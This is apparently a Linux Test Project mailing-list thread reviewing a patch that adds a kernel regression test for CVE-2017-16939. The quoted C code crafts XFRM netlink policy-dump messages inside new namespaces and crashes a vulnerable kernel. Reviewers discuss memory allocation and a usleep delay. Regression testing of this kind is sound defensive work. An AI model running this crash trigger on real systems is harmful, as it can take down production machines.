Skip to contentSkip to conversation

Add regression test for CVE-2017-16939

PATCH New Michael Moese 2 participants 4 messages Feb 6, 2018 – Mar 9, 2018

lore
Share & tools
lore
#0 lore raw

PATCH 1/1 Add regression test for CVE-2017-16939

Based on the reproducing code from Mohammed Ghannam, published on
https://blogs.securiteam.com/index.php/archives/3535

Warning! If the kernel is vulnerable to this CVE, it will definitely die with "Fatal Exception in Interrupt". So do not run this on a production machine!

---
 runtest/cve                    |   1 +
 testcases/cve/.gitignore       |   1 +
 testcases/cve/cve-2017-16939.c | 132 +++++++++++++++++++++++++++++++++++++++++
 3 files changed, 134 insertions(+)
 create mode 100644 testcases/cve/cve-2017-16939.c
runtest/cve +1 -0
index 6de2ed0ac..b93efb57a 100644
@@ -29,3 +29,4 @@ cve-2017-17807 request_key04
 cve-2017-1000364 stack_clash
 cve-2017-5754 meltdown
 cve-2017-17052 cve-2017-17052
+cve-2017-16939 cve-2017-16939
testcases/cve/.gitignore +1 -0
index 42f32e825..8db78fd87 100644
@@ -11,3 +11,4 @@ cve-2017-5669
 meltdown
 stack_clash
 cve-2017-17052
+cve-2017-16939
testcases/cve/cve-2017-16939.c new file +132 -0

132 lines not on this page · raw message

Signature · 1 line
2.13.6
#1 lore raw

PATCH 1/1 Add regression test for CVE-2017-16939

Hi!

Quoted 80 lines

https://blogs.securiteam.com/index.php/archives/3535

Warning! If the kernel is vulnerable to this CVE, it will definitely die with "Fatal Exception in Interrupt". So do not run this on a production machine!

---
 runtest/cve                    |   1 +
 testcases/cve/.gitignore       |   1 +
 testcases/cve/cve-2017-16939.c | 132 +++++++++++++++++++++++++++++++++++++++++
 3 files changed, 134 insertions(+)
 create mode 100644 testcases/cve/cve-2017-16939.c
runtest/cve +1 -0
index 6de2ed0ac..b93efb57a 100644
@@ -29,3 +29,4 @@ cve-2017-17807 request_key04
 cve-2017-1000364 stack_clash
 cve-2017-5754 meltdown
 cve-2017-17052 cve-2017-17052
+cve-2017-16939 cve-2017-16939
testcases/cve/.gitignore +1 -0
index 42f32e825..8db78fd87 100644
@@ -11,3 +11,4 @@ cve-2017-5669
 meltdown
 stack_clash
 cve-2017-17052
+cve-2017-16939
testcases/cve/cve-2017-16939.c new file +42 -0
new file mode 100644
index 000000000..ea56530c7
@@ -0,0 +1,132 @@
+/*
+ * Copyright (c) 2018 Michael Moese <[email protected]>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/* Regression test for CVE-2017-16939
+ * based on the reproducing code from Mohammed Ghannam, published on
+ * https://blogs.securiteam.com/index.php/archives/3535
+ *
+ * CAUTION! If your system is vulnerable to this CVE, the kernel
+ * WILL die with a "Fatal Exception in Interrupt".
+ */
+
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/wait.h>
+#include <netinet/in.h>
+#include <linux/netlink.h>
+#include <linux/xfrm.h>
+
+#include "tst_test.h"
+#include "tst_res_flags.h"
+#include "tst_safe_macros.h"
+#include "tst_safe_net.h"
+
+#define BUFSIZE 2048
+
+static int fd;

testcases/cve/cve-2017-16939.c line 52

Quoted 10 lines
testcases/cve/cve-2017-16939.c new file +10 -0
+static struct sockaddr_nl addr;
+
+struct msg_policy {
+	struct nlmsghdr msg;
+	char buf[BUFSIZE];
+};
+
+static void create_nl_socket(void)
+{
+	fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_XFRM);
             ^
	     SAFE_SOCKET() ?
Quoted 44 lines
testcases/cve/cve-2017-16939.c new file +44 -0
+	memset(&addr, 0, sizeof(struct sockaddr_nl));
+	addr.nl_family = AF_NETLINK;
+	addr.nl_pid = 0; /* packet goes into the kernel */
+	addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */
+}
+
+static void do_setsockopt(void)
+{
+	int var = 0x100;
+
+	SAFE_SETSOCKOPT(fd, 1, SO_RCVBUF, &var, sizeof(int));
+}
+
+static struct msg_policy *init_policy_dump(void)
+{
+	struct msg_policy *r;
+
+	r = SAFE_MALLOC(sizeof(struct msg_policy));
+	memset(r, 0, sizeof(struct msg_policy));
+
+	r->msg.nlmsg_len = 0x10;
+	r->msg.nlmsg_type = XFRM_MSG_GETPOLICY;
+	r->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI |  NLM_F_REQUEST;
+	r->msg.nlmsg_seq = 0x1;
+	r->msg.nlmsg_pid = 2;
+
+	return r;
+}
+
+static int send_msg(int fd, struct nlmsghdr *msg)
+{
+	return SAFE_SENDTO(1, fd, (void *) msg, msg->nlmsg_len, 0,
+			   (struct sockaddr *) &addr,
+			   sizeof(struct sockaddr_nl));
+}
+
+static void create_ns(void)
+{
+	if (unshare(CLONE_NEWUSER) != 0)
+		tst_brk(TCONF, "unshare(CLONE_NEWUSER) failed");
+	if (unshare(CLONE_NEWNET) != 0)
+		tst_brk(TCONF, "unshare(CLONE_NEWNET) failed");
+}
+

testcases/cve/cve-2017-16939.c line 106

Quoted 10 lines
testcases/cve/cve-2017-16939.c new file +10 -0
+static void do_run(void)
+{
+	struct msg_policy *p;
+
+	create_ns();
+	create_nl_socket();
+	p = init_policy_dump();
+	do_setsockopt();
+	send_msg(fd, &p->msg);
+	p = init_policy_dump();

Do we have to initialize the policy here for a second time? (does the fact that the p is a different pointe here matters?)

Also we should probably allocate these once in the test setup so that we do not waste memory when the test is executed with the -i option.

Quoted 5 lines
testcases/cve/cve-2017-16939.c new file +5 -0
+	send_msg(fd, &p->msg);
+
+	exit(0);
+}
+

testcases/cve/cve-2017-16939.c line 121

Quoted 10 lines
testcases/cve/cve-2017-16939.c new file +10 -0
+static void run(void)
+{
+	pid_t pid;
+	int status;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		do_run();
+	} else {
+		usleep(250000);

^
Why the usleep here? Should just the waitpid() below suffice in waiting for the child to exit?

Quoted 17 lines
testcases/cve/cve-2017-16939.c new file +11 -0
+		SAFE_WAITPID(pid, &status, 0);
+		if (!WIFEXITED(status))
+			tst_res(TFAIL, "Kernel has issues");
+	}
+	tst_res(TPASS, "Kernel seems to have survived");
+}
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.test_all = run,
+};
Signature · 5 lines
2.13.6


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp
Signature · 2 lines
Cyril Hrubis
[email protected]
#2 lore raw

PATCH 1/1 Add regression test for CVE-2017-16939

Hi,

Quoted 16 lines · Cyril Hrubis

Hi!

testcases/cve/cve-2017-16939.c line 106

Quoted 10 lines
testcases/cve/cve-2017-16939.c new file +10 -0
+static void do_run(void)
+{
+	struct msg_policy *p;
+
+	create_ns();
+	create_nl_socket();
+	p = init_policy_dump();
+	do_setsockopt();
+	send_msg(fd, &p->msg);
+	p = init_policy_dump();

Do we have to initialize the policy here for a second time? (does the fact that the p is a different pointe here matters?)

Quoted 2 lines

Also we should probably allocate these once in the test setup so that we do not waste memory when the test is executed with the -i option.

I was trying to keep as close as possible to the reproducer. I can check if this can be moved to setup, and maybe only initialize once. However, I think it is not a big waste of memory, after all the test does not loop or fork or anything like this.

Quoted 9 lines

testcases/cve/cve-2017-16939.c line 121

Quoted 5 lines
testcases/cve/cve-2017-16939.c new file +5 -0
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		do_run();
+	} else {
+		usleep(250000);

^
Why the usleep here? Should just the waitpid() below suffice in waiting for the child to exit?

Well, this is something asynchronous happening in the kernel. When we don't wait for a while, the crash happens way after we reported a PASS.. but maybe the usleep makes more sense after the waitpid().

Michael

Signature · 1 line
SUSE Linux GmbH, GF: Felix Imendörffer, Jane Smithard, Graham Norton, HRB 21284 (AG Nürnberg)
#3 lore raw

PATCH 1/1 Add regression test for CVE-2017-16939

Hi!

Quoted 6 lines
Quoted 2 lines

Also we should probably allocate these once in the test setup so that we do not waste memory when the test is executed with the -i option.

I was trying to keep as close as possible to the reproducer. I can check if this can be moved to setup, and maybe only initialize once. However, I think it is not a big waste of memory, after all the test does not loop or fork or anything like this.

Note that all testcases can take -i or -I parameter which causes that the test() function is called in a loop. That is the reason why we should care for allocating memory out of the test() function, or at least freeing it at the end of it.

Quoted 9 lines
Quoted 9 lines

testcases/cve/cve-2017-16939.c line 121

Quoted 5 lines
testcases/cve/cve-2017-16939.c new file +5 -0
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		do_run();
+	} else {
+		usleep(250000);

^
Why the usleep here? Should just the waitpid() below suffice in waiting for the child to exit?

Quoted 3 lines

Well, this is something asynchronous happening in the kernel. When we don't wait for a while, the crash happens way after we reported a PASS.. but maybe the usleep makes more sense after the waitpid().

Well that's a good question, the problem is that if we add the usleep to the test it will slow down the testsuite in all cases, which is bad as the longer the testsuite takes the less useful it is. But if we don't add it will be a bit more complicated to to figure out which test caused the crash.

But at least the usleep() requires proper comment about why it's there, something as "the corruption usually manifests within a short time frame hence we sleep here for a while" or something like that.

Or we may try to help it by running the actuall test in a loop for several iterations instead of idling which may increase the probability of failing earlier.

Signature · 2 lines
Cyril Hrubis
[email protected]